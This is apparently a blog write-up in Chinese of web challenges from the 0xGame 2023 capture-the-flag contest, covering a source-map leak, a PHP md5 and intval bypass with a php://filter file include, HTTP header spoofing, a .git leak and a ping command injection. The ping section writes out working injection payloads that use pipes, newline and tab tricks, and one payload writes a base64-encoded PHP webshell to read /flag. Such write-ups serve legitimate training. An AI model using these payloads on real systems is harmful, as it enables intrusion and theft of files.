0xgame 2023

web–signin

查看源代码
看到有个js文件
在源代码最下面找个被注释的内容

1
//# sourceMappingURL=index-33309f51.js.map

进入/assets/index-33309f51.js.map
下载了一个文件,用记事本打开
ctrl+f查找关键词,0xgame找到flag
flag

1
0xGame{c788fa80-2184-429f-b410-48cb8e2de0ff}

在main.js下也能找到flag

web–baby_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 <?php
// flag in flag.php
highlight_file(__FILE__);

if (isset($_GET['a']) && isset($_GET['b']) && isset($_POST['c']) && isset($_COOKIE['name'])) {
$a = $_GET['a'];
$b = $_GET['b'];
$c = $_POST['c'];
$name = $_COOKIE['name'];

if ($a != $b && md5($a) == md5($b)) {
if (!is_numeric($c) && $c != 1024 && intval($c) == 1024) {
include($name.'.php');
}
}
}
?>
1
if ($a != $b && md5($a) == md5($b))

用数组绕过即可

1
if (!is_numeric($c) && $c != 1024 && intval($c) == 1024)

is_numeric有3种绕过方法,经过测试,数组绕过与%20%00都不可通过后面的intval
在1024后加入字母即可
intval为化整函数,使我们的payload加上个小数即可
include读取文件需要用到伪协议
cookie使用伪协议
payload:

1
2
3
4
5
6
GET:
?a[]=1&b[]=2
POST:
c=1024.123a
COOKIE:
name=php://filter/convert.base64-encode/resource=flag
1
PD9waHAKCiRmbGFnID0gJzB4R2FtZXs0M2JiM2UyNC0wODI0LTQ4Y2ItOTVkMC1jNDcxNTQwYzA5NTN9JzsKCj8+

拿到的字符base64解码即可
flag

1
0xGame{43bb3e24-0824-48cb-95d0-c471540c0953}

web–hello http

Error: The GET parameter query must be ctf
payload:

1
2
GET:
?query=ctf

Error: The POST form action must be getflag
payload:

1
2
POST:
action=getflag

Error: Your are not admin
payload:

1
2
cookie:
role=admin

Error: Only allow local IP
抓个包叭
payload:

1
2
X-forwarded-for: 127.0.0.1

Error: You are not using HarmonyOS Browser 😡
payload:

1
User-Agent: HarmonyOS Browser

Error: Only allow access from ys.mihoyo.com 😋
payload:

1
Referer: ys.mihoyo.com

flag

1
0xGame{2c1a10fb-921e-4250-820f-5ce36940b8b5}

web–ping

本题有前端拦截,需要burpsuite抓包
127.0.0.1;ls;被过滤了,;可用%0a替代,本题用|
payload:

1
2
127.0.0.1|ls
//api.php index.html simple.css

payload:

1
127.0.0.1|cat api.php

没有回显,可能cat空格或php被禁了
先考虑空格被禁
用%20代替,还是没有
用tab%09代替
可以回显
api.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

function sanitize($s) {
$s = str_replace(';', '', $s);
$s = str_replace(' ', '', $s);
$s = str_replace('/', '', $s);
$s = str_replace('flag', '', $s);
return $s;
}

if (isset($_GET['source'])) {
highlight_file(__FILE__);
die();
}

if (!isset($_POST['ip'])) {
die('No IP Address');
}

$ip = $_POST['ip'];

$ip = sanitize($ip);

if (!preg_match('/((\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.){3}(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])/', $ip)) {
die('Invalid IP Address');
}

system('ping -c 4 '.$ip. ' 2>&1');

?>

果然;’ ‘/都被禁了
没有/就不能查看上级目录
但我们可以写文件
因;和flag被禁,我们用base64编码
system(‘ls’)
payload:

1
ip=127.0.0.1|echo%09"PD9waHAgc3lzdGVtKCdscycpOw=="|base64%09-d%09>2.php

system(‘ls /‘)
payload:

1
2
ip=127.0.0.1|echo%09"PD9waHAgc3lzdGVtKCdscyAvJyk7"|base64%09-d%09>2.php
//bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

system(‘cat /flag’)
payload:

1
2
ip=127.0.0.1|echo%09"PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs="|base64%09-d%09>2.php
//0xGame{19c71976-d7d8-4ab8-9ea5-6ea3800f59f6}

方法二
手动切换目录读取flag
payload:

1
2
3
4
5
6
7
8
9
10
11
ip=127.0.0.1%0acd%09..%0als
//html

ip=127.0.0.1%0acd%09..%0acd%09..%0als
//backups cache lib local lock log mail opt run spool tmp www

ip=127.0.0.1%0acd%09..%0acd%09..%0acd%09..%0als
//bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

ip=127.0.0.1%0acd%09..%0acd%09..%0acd%09..%0acat%09f* //flag被禁用用f*代替
//0xGame{19c71976-d7d8-4ab8-9ea5-6ea3800f59f6}

web–ropo_leak

Notice告诉我们:There is noting here. Using Git for version control
说明这是git泄露,这里用到一个工具Git_Extract:https://github.com/gakki429/Git_Extract
需要电脑有python2环境
因为我的电脑是python3,所以用liunx打开

1
python git_extract.py http://124.71.184.68:50013/.git/

生成了一个新的文件

flag在posts/flag/index.html中

使用Git_hack搜不出flag


0xgame 2023
http://example.com/2023/10/13/0xgame 2023/
作者
奇怪的奇怪
发布于
2023年10月13日
许可协议